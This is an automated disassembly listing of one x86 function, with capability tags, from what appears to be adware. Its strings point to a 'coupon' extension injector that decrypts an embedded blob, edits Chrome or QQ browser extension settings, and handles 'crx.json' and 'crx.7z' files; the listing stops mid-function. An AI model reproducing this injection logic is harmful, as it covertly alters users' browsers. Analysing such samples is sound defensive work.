Function at 0x10029860
Capabilities:
Check if file exists
Delete file
Get common file path
Read file on windows
Set file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d9e6d
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x5850
call fcn.100b5ba0
mov eax, dword [0x100fb074]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x5850], edx
mov edi, ecx
mov dword [ebp - 0x585c], edi
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x584c], eax
mov eax, dword [ebx + 0x24]
mov dword [ebp - 0x5824], eax
mov eax, dword [ebx + 0x28]
mov dword [ebp - 0x5854], eax
xor eax, eax
mov dword [ebp - 0x5820], eax
mov dword [ebp - 0x5808], eax
mov dword [ebp - 4], eax
push 0x104
push eax
mov dword [ebp - 0x5814], eax
lea eax, [ebp - 0x668]
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x668]
push 0
push 0x1c
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1002b6ed
push edi
push str._DEBUGINFO__SETCRX__Chrome_path___s_n
call fcn.10004450
add esp, 8
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x57f8]
xor esi, esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
push eax
cmovne esi, dword [ebp - 0x57d8]
mov dword [ebp - 0x5808], esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, 0x64
jbe 0x1002b6df
push 0x100ee020
push edi
call fcn.100bed8c
add esp, 8
mov dword [ebp - 0x5800], eax
test eax, eax
je 0x1002b6d1
inc esi
push esi
call fcn.100bd8fa
add esp, 4
mov edi, eax
push esi
push 0
push edi
call fcn.100b7060
mov esi, dword [ebp - 0x5800]
add esp, 0xc
push esi
push dword [ebp - 0x5808]
push 1
push edi
call fcn.100bfba1
push esi
call fcn.100bf0a9
mov ecx, edi
add esp, 0x14
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100299c0
sub ecx, edx
cmp ecx, 6
jb 0x1002b6b5
mov ecx, edi
mov esi, edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100299e0
sub ecx, edx
cmp ecx, 6
jb 0x1002b6b5
mov eax, 6
sub eax, edi
mov dword [ebp - 0x5800], eax
nop
push 6
push str.QBCI01
push esi
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x10029a3a
mov ecx, edi
inc esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029a20
mov eax, dword [ebp - 0x5800]
sub ecx, edx
add eax, esi
cmp eax, ecx
jbe 0x10029a00
jmp 0x1002b6b5
lea esi, [edi + 0xe]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10029a40
sub esi, ecx
shr esi, 1
push esi
mov dword [ebp - 0x5804], esi
call fcn.100bd8fa
add esp, 4
mov dword [ebp - 0x580c], eax
push esi
push 0
push eax
call fcn.100b7060
lea edx, [edi + 0xe]
add esp, 0xc
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x5800], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029a80
sub ecx, dword [ebp - 0x5800]
mov dword [ebp - 0x5800], ecx
test ecx, ecx
jle 0x10029b2a
mov eax, dword [ebp - 0x580c]
not edx
mov dword [ebp - 0x5810], eax
add edi, 0xf
mov dword [ebp - 0x5808], edx
mov esi, ecx
mov cl, byte [edi - 1]
mov dl, byte [edi]
mov al, cl
sub al, 0x30
cmp al, 9
ja 0x10029ac5
mov cl, al
jmp 0x10029add
mov al, cl
sub al, 0x41
cmp al, 5
ja 0x10029ad2
add cl, 0xc9
jmp 0x10029add
mov al, cl
sub al, 0x61
cmp al, 5
ja 0x10029b24
add cl, 0xa9
mov al, dl
sub al, 0x30
cmp al, 9
ja 0x10029ae9
mov dl, al
jmp 0x10029b01
mov al, dl
sub al, 0x41
cmp al, 5
ja 0x10029af6
add dl, 0xc9
jmp 0x10029b01
mov al, dl
sub al, 0x61
cmp al, 5
ja 0x10029b24
add dl, 0xa9
mov eax, dword [ebp - 0x5810]
add edi, 2
shl cl, 4
or cl, dl
mov byte [eax], cl
inc eax
mov dword [ebp - 0x5810], eax
mov eax, dword [ebp - 0x5808]
add eax, edi
cmp eax, esi
jl 0x10029ab4
mov esi, dword [ebp - 0x5804]
push esi
mov dword [ebp - 0x30], 0x87a123
mov dword [ebp - 0x2c], 0xf1459b4f
mov dword [ebp - 0x28], 0x20396443
mov dword [ebp - 0x24], 0xd44214f3
mov dword [ebp - 0x1c], 0x20396443
mov dword [ebp - 0x18], 0xd44214f3
call fcn.100bd8fa
add esp, 4
mov edi, eax
push esi
push 0
push edi
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0xc8]
push 0x8c
push 0
push eax
call fcn.100b7060
add esp, 8
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0xc8]
push eax
call fcn.1002f740
mov ecx, dword [ebp - 0x580c]
lea eax, [ebp - 0x1c]
push 0
push eax
lea eax, [ebp - 0xc8]
mov edx, edi
push eax
push esi
call fcn.1002ff20
sub esi, 0x10
push esi
mov dword [ebp - 0x5804], esi
call fcn.100bd8fa
add esp, 0x1c
mov esi, eax
push dword [ebp - 0x5804]
call fcn.100bd8fa
add esp, 4
mov dword [ebp - 0x5810], eax
push dword [ebp - 0x5804]
push 0
push esi
call fcn.100b7060
add esp, 0xc
push dword [ebp - 0x5804]
push 0
push dword [ebp - 0x5810]
call fcn.100b7060
movups xmm0, xmmword [edi]
add esp, 0xc
lea eax, [edi + 0x10]
movups xmmword [ebp - 0x30], xmm0
push dword [ebp - 0x5804]
push eax
push esi
call fcn.100b6ae0
add esp, 0xc
lea eax, [ebp - 0xc8]
push 0x8c
push 0
push eax
call fcn.100b7060
add esp, 8
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0xc8]
push eax
call fcn.1002f740
mov edi, dword [ebp - 0x5810]
lea eax, [ebp - 0x1c]
push 0
push eax
lea eax, [ebp - 0xc8]
xorps xmm0, xmm0
push eax
push dword [ebp - 0x5804]
movlpd qword [ebp - 0x1c], xmm0
mov edx, edi
mov ecx, esi
call fcn.100303d0
mov esi, edi
add esp, 0x18
lea ecx, [esi + 2]
nop dword [eax + eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10029c70
push 0
push 0
push 0
push 0
sub esi, ecx
sar esi, 1
push esi
push edi
push 0
push 0
mov dword [ebp - 0x5808], esi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea esi, [esi*2 + 1]
mov edi, eax
push esi
call fcn.100bd8fa
add esp, 4
mov dword [ebp - 0x5800], eax
push esi
mov esi, eax
push 0
push esi
call fcn.100b7060
add esp, 0xc
push 0
push 0
push edi
push esi
push dword [ebp - 0x5808]
push dword [ebp - 0x5810]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029ce0
sub ecx, edx
cmp ecx, 3
jb 0x1002b69e
mov ecx, esi
mov edi, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029d00
sub ecx, edx
cmp ecx, 3
jb 0x1002b69e
mov eax, 3
sub eax, esi
mov dword [ebp - 0x5800], eax
nop
push 3
push 0x100eeba0
push edi
call fcn.100bdd68
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 1]
test eax, eax
je 0x10029d60
inc edi
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029d40
mov eax, dword [ebp - 0x5800]
sub ecx, edx
add eax, edi
cmp eax, ecx
jbe 0x10029d20
jmp 0x1002b69e
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029d60
sub ecx, edx
cmp ecx, 1
jb 0x1002b69e
mov ecx, esi
mov edi, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029d80
sub ecx, edx
cmp ecx, 1
jb 0x1002b69e
mov eax, 1
sub eax, esi
mov dword [ebp - 0x5800], eax
nop
push 1
push 0x100edcbc
push edi
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x10029dda
mov ecx, esi
inc edi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029dc0
mov eax, dword [ebp - 0x5800]
sub ecx, edx
add eax, edi
cmp eax, ecx
jbe 0x10029da0
jmp 0x1002b69e
push 0x74
call fcn.100b47e3
add esp, 4
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x580c]
mov byte [ebp - 4], 1
push ecx
mov ecx, eax
mov dword [ebp - 0x580c], 0x100
call fcn.1000b7d0
and dword [ebp - 0x5840], 0xfffffe00
mov edi, eax
mov dword [ebp - 0x5858], edi
mov dword [ebp - 0x583c], 0
mov dword [ebp - 0x5838], 0
mov dword [ebp - 0x5834], 0
mov dword [ebp - method.Json::FastWriter.virtual_0], vtable.Json::FastWriter.0
mov dword [ebp - 0x56a4], 0
mov dword [ebp - 0x56a0], 0xf
mov byte [ebp - 0x56b4], 0
mov word [ebp - 0x569c], 0
mov byte [ebp - 0x569a], 0
push 0x100edcbc
push esi
mov byte [ebp - 4], 4
call fcn.100b6560
add esp, 8
test eax, eax
je 0x10029ece
push 0x100edcbc
push esi
call fcn.100b6560
add esp, 8
lea ecx, [ebp - 0x5680]
push eax
call fcn.10001670
mov eax, 1
mov byte [ebp - 4], 5
push eax
mov dword [ebp - 0x5820], eax
mov ecx, edi
mov dword [ebp - 0x5808], eax
lea eax, [ebp - 0x5848]
push eax
lea eax, [ebp - 0x5680]
push eax
call fcn.1000b8f0
mov byte [ebp - 0x57f9], 1
test al, al
jne 0x10029ed5
mov byte [ebp - 0x57f9], 0
mov dword [ebp - 4], 4
mov eax, dword [ebp - 0x5820]
test al, 1
je 0x10029f29
mov edx, dword [ebp - 0x566c]
and eax, 0xfffffffe
mov dword [ebp - 0x5820], eax
cmp edx, 0x10
jb 0x10029f29
mov ecx, dword [ebp - 0x5680]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10029f1f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b785
push edx
push ecx
call fcn.100b4813
add esp, 8
cmp byte [ebp - 0x57f9], 0
je 0x1002b652
mov ecx, dword [ebp - 0x584c]
call fcn.100db5e0
mov esi, eax
mov ecx, esi
call fcn.100db720
mov ecx, esi
mov dword [ebp - 0x18], eax
call fcn.100db810
mov edx, dword [ebp - 0x5824]
mov ecx, esi
mov dword [ebp - 0x5810], eax
call fcn.1001acc0
mov edx, dword [ebp - 0x584c]
mov ecx, esi
mov edi, eax
call fcn.1001af30
mov esi, dword [ebp - 0x5854]
mov dword [ebp - 0x5800], eax
test esi, esi
je 0x10029fa9
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029f90
sub ecx, edx
push ecx
push esi
push dword [ebp - 0x5810]
call fcn.100b6ae0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x140]
push 0x104
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x350]
push 0x104
push 0
push eax
call fcn.100b7060
xor eax, eax
xor edx, edx
xor esi, esi
mov dword [ebp - 0x5804], edx
add esp, 0xc
mov dword [ebp - 0x5808], esi
mov dword [ebp - 0x5830], edx
mov dword [ebp - 0x5814], eax
mov dword [ebp - 0x582c], eax
mov dword [ebp - 0x5828], eax
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x5848]
mov byte [ebp - 4], 6
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1002a475
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x5848]
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, eax
call fcn.10016240
mov esi, eax
mov dword [ebp - 0x580c], 0
lea eax, [ebp - 0x5830]
cmp eax, esi
je 0x1002a0db
mov ecx, eax
call fcn.1000a810
mov edx, dword [esi]
mov ecx, dword [esi + 4]
mov eax, dword [esi + 8]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov esi, ecx
mov dword [ebp - 0x5804], edx
mov dword [ebp - 0x5830], edx
mov dword [ebp - 0x5814], ecx
mov dword [ebp - 0x582c], ecx
mov dword [ebp - 0x5828], eax
mov dword [ebp - 0x580c], edx
jmp 0x1002a0dd
xor esi, esi
lea ecx, [ebp - 0x2c]
call fcn.1000a810
sub esi, dword [ebp - 0x580c]
mov eax, 0x2aaaaaab
imul esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x5818], eax
je 0x1002a927
mov esi, dword [ebp - 0x580c]
mov dword [ebp - 0x5824], 0
nop dword [eax + eax]
push 0x104
lea eax, [ebp - 0x140]
push 0
push eax
call fcn.100b7060
add esp, 0xc
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x1002a140
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x140]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea ecx, [ebp - 0x5848]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x140]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002a186
sub ecx, esi
lea eax, [ebp - 0x140]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015f00
test eax, eax
je 0x1002a447
push 0x104
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea ecx, [ebp - 0x5848]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x140]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002a217
sub ecx, esi
lea eax, [ebp - 0x140]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x5680]
push ecx
mov ecx, eax
call fcn.10015330
mov esi, eax
cmp dword [esi + 0x14], 0x10
jb 0x1002a271
mov esi, dword [esi]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1002a274
mov edx, dword [ebp - 0x566c]
sub esi, ecx
cmp edx, 0x10
jb 0x1002a2b7
mov ecx, dword [ebp - 0x5680]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002a2ad
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b785
push edx
push ecx
call fcn.100b4813
add esp, 8
push 0x100ee07a
cmp esi, 0x104
lea ecx, [ebp - 0x5848]
mov eax, 0x103
push str.extensions
cmovge esi, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x140]
mov edx, eax
lea eax, [ecx + 1]
mov dword [ebp - 0x581c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002a300
sub ecx, dword [ebp - 0x581c]
lea eax, [ebp - 0x140]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x5680]
push ecx
mov ecx, eax
call fcn.10015330
cmp dword [eax + 0x14], 0x10
jb 0x1002a35c
mov eax, dword [eax]
push esi
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.100b6ae0
mov edx, dword [ebp - 0x566c]
add esp, 0xc
cmp edx, 0x10
jb 0x1002a3a7
mov ecx, dword [ebp - 0x5680]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002a39d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b785
push edx
push ecx
call fcn.100b4813
add esp, 8
mov edx, edi
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x1002a3b0
sub edx, ecx
lea ecx, [ebp - 0x248]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002a3c2
sub ecx, esi
cmp edx, ecx
jb 0x1002a447
mov edx, edi
xor esi, esi
lea eax, [edx + 1]
mov dword [ebp - 0x581c], eax
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x1002a3e0
sub edx, dword [ebp - 0x581c]
cmp ecx, edx
ja 0x1002a447
push ecx
lea eax, [ebp - 0x248]
push eax
lea eax, [esi + edi]
push eax
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x1002a43d
lea ecx, [ebp - 0x248]
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002a413
sub ecx, edx
mov edx, edi
lea eax, [edx + 1]
mov dword [ebp - 0x581c], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x1002a427
sub edx, dword [ebp - 0x581c]
lea eax, [ecx + esi]
cmp eax, edx
jbe 0x1002a3f1
jmp 0x1002a447
mov dword [ebp - 0x5808], 1
mov eax, dword [ebp - 0x5824]
mov esi, dword [ebp - 0x580c]
inc eax
add esi, 0x18
mov dword [ebp - 0x5824], eax
mov dword [ebp - 0x580c], esi
cmp eax, dword [ebp - 0x5818]
jb 0x1002a120
mov esi, dword [ebp - 0x5808]
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x17d
push str._DEBUGINFO__SETCRX__line_d_file_s_n
call fcn.100043d0
add esp, 0xc
cmp dword [ebx + 0x18], 0
jne 0x1002a49a
test esi, esi
jne 0x1002b5f6
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x5848]
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1002a935
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x5848]
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, eax
call fcn.10016240
mov esi, eax
lea eax, [ebp - 0x5830]
cmp eax, esi
je 0x1002a548
mov ecx, eax
call fcn.1000a810
mov eax, dword [esi + 4]
mov edx, dword [esi]
mov dword [ebp - 0x5814], eax
mov dword [ebp - 0x582c], eax
mov eax, dword [esi + 8]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [ebp - 0x5804], edx
mov dword [ebp - 0x5830], edx
mov dword [ebp - 0x5828], eax
mov dword [esi + 8], 0
lea ecx, [ebp - 0x2c]
call fcn.1000a810
mov ecx, dword [ebp - 0x5814]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x5804]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x581c], eax
je 0x1002a935
mov dword [ebp - 0x5808], 0
nop word [eax + eax]
push 0x104
lea eax, [ebp - 0x140]
push 0
push eax
call fcn.100b7060
add esp, 0xc
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x1002a5b0
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x140]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea ecx, [ebp - 0x5848]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x140]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002a5f6
sub ecx, esi
lea eax, [ebp - 0x140]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015f00
test eax, eax
je 0x1002a900
push 0x104
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea ecx, [ebp - 0x5848]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x140]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002a687
sub ecx, esi
lea eax, [ebp - 0x140]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x5680]
push ecx
mov ecx, eax
call fcn.10015330
mov esi, eax
cmp dword [esi + 0x14], 0x10
jb 0x1002a6e1
mov esi, dword [esi]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1002a6e4
mov edx, dword [ebp - 0x566c]
sub esi, ecx
cmp edx, 0x10
jb 0x1002a727
mov ecx, dword [ebp - 0x5680]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002a71d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b785
push edx
push ecx
call fcn.100b4813
add esp, 8
push 0x100ee07a
cmp esi, 0x104
lea ecx, [ebp - 0x5848]
mov eax, 0x103
push str.extensions
cmovge esi, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x140]
mov edx, eax
lea eax, [ecx + 1]
mov dword [ebp - 0x5818], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002a770
sub ecx, dword [ebp - 0x5818]
lea eax, [ebp - 0x140]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x5680]
push ecx
mov ecx, eax
call fcn.10015330
cmp dword [eax + 0x14], 0x10
jb 0x1002a7cc
mov eax, dword [eax]
push esi
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.100b6ae0
mov edx, dword [ebp - 0x566c]
add esp, 0xc
cmp edx, 0x10
jb 0x1002a817
mov ecx, dword [ebp - 0x5680]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002a80d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b785
push edx
push ecx
call fcn.100b4813
add esp, 8
mov edx, edi
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x1002a820
sub edx, ecx
lea ecx, [ebp - 0x248]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002a832
sub ecx, esi
cmp edx, ecx
jb 0x1002a8b4
mov edx, edi
xor esi, esi
lea eax, [edx + 1]
mov dword [ebp - 0x5818], eax
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x1002a850
sub edx, dword [ebp - 0x5818]
cmp ecx, edx
ja 0x1002a8b4
push ecx
lea eax, [ebp - 0x248]
push eax
lea eax, [esi + edi]
push eax
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x1002a92e
lea ecx, [ebp - 0x248]
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002a887
sub ecx, edx
mov edx, edi
lea eax, [edx + 1]
mov dword [ebp - 0x5818], eax
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x1002a8a0
sub edx, dword [ebp - 0x5818]
lea eax, [ecx + esi]
cmp eax, edx
jbe 0x1002a861
xor eax, eax
test eax, eax
je 0x1002a900
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x5848]
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x5698]
push ecx
mov ecx, eax
call fcn.10016110
lea ecx, [ebp - 0x5698]
call fcn.10015080
mov esi, dword [ebp - 0x5808]
add dword [ebp - 0x5804], 0x18
inc esi
mov dword [ebp - 0x5808], esi
cmp esi, dword [ebp - 0x581c]
jae 0x1002a935
mov esi, dword [ebp - 0x5804]
jmp 0x1002a590
xor esi, esi
jmp 0x1002a475
mov eax, 1
jmp 0x1002a8b6
push 0x100ee16c
lea eax, [ebp - 0x668]
push eax
push dword [ebp - 0x5850]
call fcn.100ab670
push 0x104
lea eax, [ebp - 0x458]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x57c0]
push 0x104
push 0
push eax
call fcn.100b7060
add esp, 0xc
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x668]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x459], al
test al, al
jne 0x1002a980
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x668]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x57c1], al
test al, al
jne 0x1002a9a0
lea ecx, [ebp - 0x458]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1002a9c0
mov eax, dword [str.crx.json]
mov dword [ecx], eax
mov eax, dword [0x100ee174]
mov dword [ecx + 4], eax
mov ax, word [0x100ee178]
mov word [ecx + 8], ax
lea ecx, [ebp - 0x57c0]
dec ecx
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1002a9f0
mov eax, dword [str.crx.7z]
mov dword [ecx], eax
mov eax, dword [0x100ee180]
mov dword [ecx + 4], eax
lea eax, [ebp - 0x57c0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x458]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1002b5f6
lea ecx, [ebp - 0x458]
call fcn.1001a220
mov esi, eax
mov dword [ebp - 0x5818], esi
cmp esi, 0xa
jbe 0x1002b5f6
lea eax, [ebp - 0x458]
push 0x100ee020
push eax
call fcn.100bed8c
add esp, 8
mov dword [ebp - 0x5850], eax
test eax, eax
je 0x1002b5f6
add esi, 0x3e8
push esi
call fcn.100bd8fa
add esp, 4
mov edi, eax
push esi
push 0
push edi
call fcn.100b7060
mov esi, dword [ebp - 0x5850]
add esp, 0xc
push esi
push dword [ebp - 0x5818]
push 1
push edi
call fcn.100bfba1
push esi
call fcn.100bf0a9
add esp, 0x14
lea eax, [ebp - 0x5668]
push 0x5000
push 0
push eax
call fcn.100b7060
add esp, 4
lea edx, [ebp - 0x5668]
mov ecx, edi
call fcn.10004740
and dword [ebp - 0x30], 0xfffffe00
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
lea eax, [ebp - 0x5668]
mov byte [ebp - 4], 8
push 0x100edcbc
push eax
call fcn.100b6560
add esp, 0x10
test eax, eax
je 0x1002ab5b
lea eax, [ebp - 0x5668]
push 0x100edcbc
push eax
call fcn.100b6560
add esp, 8
lea ecx, [ebp - 0x5680]
push eax
call fcn.10001670
mov ecx, dword [ebp - 0x5858]
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x5820]
or eax, 2
mov dword [ebp - 0x5820], eax
mov dword [ebp - 0x5808], eax
lea eax, [ebp - 0x38]
push 1
push eax
lea eax, [ebp - 0x5680]
push eax
call fcn.1000b8f0
mov byte [ebp - 0x57f9], 1
test al, al
jne 0x1002ab62
mov byte [ebp - 0x57f9], 0
mov dword [ebp - 4], 8
mov eax, dword [ebp - 0x5820]
test al, 2
je 0x1002abad
mov edx, dword [ebp - 0x566c]
cmp edx, 0x10
jb 0x1002abad
mov ecx, dword [ebp - 0x5680]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002aba3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b78a
push edx
push ecx
call fcn.100b4813
add esp, 8
cmp byte [ebp - 0x57f9], 0
je 0x1002b2d0
push 0x104
